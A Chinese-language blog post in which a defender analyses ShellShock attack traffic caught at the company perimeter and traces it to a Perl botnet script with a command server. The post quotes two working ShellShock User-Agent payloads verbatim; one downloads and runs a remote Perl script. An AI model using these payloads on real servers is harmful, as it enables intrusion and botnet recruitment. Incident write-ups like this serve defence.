偶遇BASH攻击,险入僵尸网络

上个月分析系统日志时,意外发现一例利用BASH ShellShock漏洞的攻击,研究起来挺有趣,写出来做个记录。

每隔几天都会看一看边界安全设备的日志,看看都拦下来哪些攻击,有没有漏掉的。10月12号起,拦截了不少利用BASH ShellShock漏洞的攻击数据。攻击源地址几乎遍布全球,攻击目的地址覆盖了公司公布在互联网的所有业务系统,而且发起的时间没有什么规律。唯一显著的特点是,攻击者在短时间内发起攻击的次数比较多,可以判断肯定不是手工操作的。于是,从攻击频率入手分析,兴许能发现点什么。

我把所有这个类型的攻击日志按源地址分组后,再按发起时间做了排序,果然发现一个规律。每个攻击IP发起每轮攻击,基本上都以31次为固定频率,每轮平均耗时15秒。

我又开nmap扫了一下这些攻击源IP,基本上都是世界各地的服务器,跑着各类web应用。按常识,不应该是这些服务器的管理员发起的对我们的攻击,很可能是被黑客当作肉鸡或跳板之后,被黑客当作了攻击工具。

为了弄清楚攻击的全貌,我在边界设备上开始抓包,希望能从攻击数据包里发现一点有价值的信息。抓到一些pcap包之后,用wireshark打开。

注意看,在http包里面,ua字段里插入了破壳漏洞的攻击代码:

() { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“wget -O /dev/null http://www.testvc.it/TESTONLY; curl -O /dev/null http://www.testvc.it/TESTONLY; fetch http://www.testvc.it/TESTONLY; GET http://www.testvc.it/TESTONLY; lwp-download http://www.testvc.it/TESTONLY; lynx http://www.testvc.it/TESTONLY“);’

另外的一个攻击IP发过来的和这个几乎一模一样:

() { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“wget http://tecnoalianza.com/a.log -O /tmp/a.log;curl -O /tmp/a.log http://tecnoalianza.com/a.log;perl /tmp/a.log;rm -rf /tmp/a.log*”);’

攻击者如果利用漏洞成功,就会在我的服务器上从指定的服务器下载一份文件到本地,从格式上看,应该是一份用perl写的脚本。然后在服务器运行这段脚本,接着删除掉。攻击代码并不复杂,长度也比较短,利用起来很方便。

接着,我把http://tecnoalianza.com/a.log 这份文件下载回来,准备研究一下这个脚本,不出意外的话,应该会是一个小木马。没想到刚下载到就被卡巴斯基识别为病毒文件-_-!!

打开这份文件,果然是用perl写的代码。从编写习惯来看,作者写代码还是非常规矩的,对齐、注释,一点也不马虎大意。接近1900行代码,因为没学过perl,读起来还是有一点吃力。大致的功能是,连接cc服务器并回传当前服务器的一些基本信息。接着从cc服务器获取指令,包含有一个ip信息。然后针对这个ip发起常见端口扫描、tcpflood、udpflood等等攻击。

也就是说,如果我的服务器没有打bash的补丁,被shellshock攻击成功后,会下载一个perl脚本,攻击者就可以控制我的服务器,再去攻击其他的计算机。

在perl脚本里,找到了cc服务器的ip:是乌克兰的213.186.118.35

忍不住又用nmap看了下大致情况:

注意看我红圈标注的内容。有没有很喜感。^_^

11月中旬以来,类似的攻击突然就销声匿迹了。就好像发起时候来的那般突然。

总结:

1.该打补丁的时候千万别懒,今天一偷懒,明天就坑爹。

2.是时候学学perl了。

3.如果服务器有杀毒软件,还是可以起到一定作用的。

你的打赏,我的干粮